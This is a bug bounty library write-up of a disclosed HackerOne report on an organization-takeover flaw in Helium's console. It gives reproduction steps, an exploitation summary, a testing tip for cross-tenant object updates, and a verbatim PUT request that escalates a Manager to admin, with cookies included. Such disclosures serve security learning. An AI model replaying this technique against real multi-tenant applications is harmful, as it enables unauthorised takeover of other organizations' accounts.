# Organization Takeover

A Manager in one org could PUT /api/memberships/<id> while holding an admin token from a different org, escalating to admin of the victim org.

- Payout: $500
- Severity: high
- Program: Helium
- Found by: azraelsec
- Disclosed: 2020-05-27
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/809816
- Library page: https://bugbountylibrary.com/r/h1%3A809816
- Tags: area:web domain:api domain:web impact:privesc kind:bounty platform:hackerone sev:high tech:graphql tech:jwt technique:chained vuln:access-control vuln:idor vuln:privilege-escalation

**Target:** console.helium.com REST /api/memberships/{id} and GraphQL memberships query
**Root cause:** The membership update endpoint authorized the request against the caller's current-org admin role but never verified the target membership id belonged to that same organization.
**Steps:**
1. Create users A and B; B invites A to org testhackerone as Manager.
2. As A in testhackerone, query GraphQL `PaginatedMembershipsQuery` to leak A's membership id `bc96332e-c6b4-4728-b35e-8145eea0996a`.
3. Switch A back to an org where A is admin (hackerone) to obtain an admin-scoped Bearer token.
4. Send `PUT /api/memberships/bc96332e-c6b4-4728-b35e-8145eea0996a` with body `{"membership":{"role":"admin"}}` using the admin token.
5. Switch A to testhackerone; GraphQL memberships now shows role `admin`.
**How found:** Noticed the /membership/ resource and hypothesized the backend scopes authorization to the caller's current org rather than the target membership; tested by holding an admin token from one org while modifying a membership id from another.
**Exploitation:** Attacker needs Manager role in victim org plus admin role in any other org. Leak own membership id via GraphQL, switch to admin org for a privileged token, then PUT role=admin on the victim-org membership id. Backend checks only caller's admin status in current org, not target membership's org, so the update succeeds and attacker gains admin of victim org.
**Escalation:** Cross-tenant role escalation from Manager to Administrator, enabling deletion of the original admin and full org control.
**Insight:** When an app uses org-scoped JWT tokens, test cross-tenant object updates: hold a privileged token from org A and mutate resource ids belonging to org B. The token's org claim is often trusted for authz without checking the target object's org.

## Proof of concept (copied exactly from the original report)

**PUT membership role escalation request**

```
PUT /api/memberships/bc96332e-c6b4-4728-b35e-8145eea0996a HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 31
accept: */*
Sec-Fetch-Dest: empty
authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
content-type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; _gid=GA1.2.514054915.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; intercom-session-ghj6l8hv=; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI1NTk0NmQwZS0wYTkwLTRkNGQtOWRiOC0xMjIzNjJmNTc3NTYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODMyNDYzMzc1MzksImxhc3RFdmVudFRpbWUiOjE1ODMyNTEwNzEwNDEsImV2ZW50SWQiOjEzOSwiaWRlbnRpZnlJZCI6MjksInNlcXVlbmNlTnVtYmVyIjoxNjh9

{"membership":{"role":"admin"}}
```

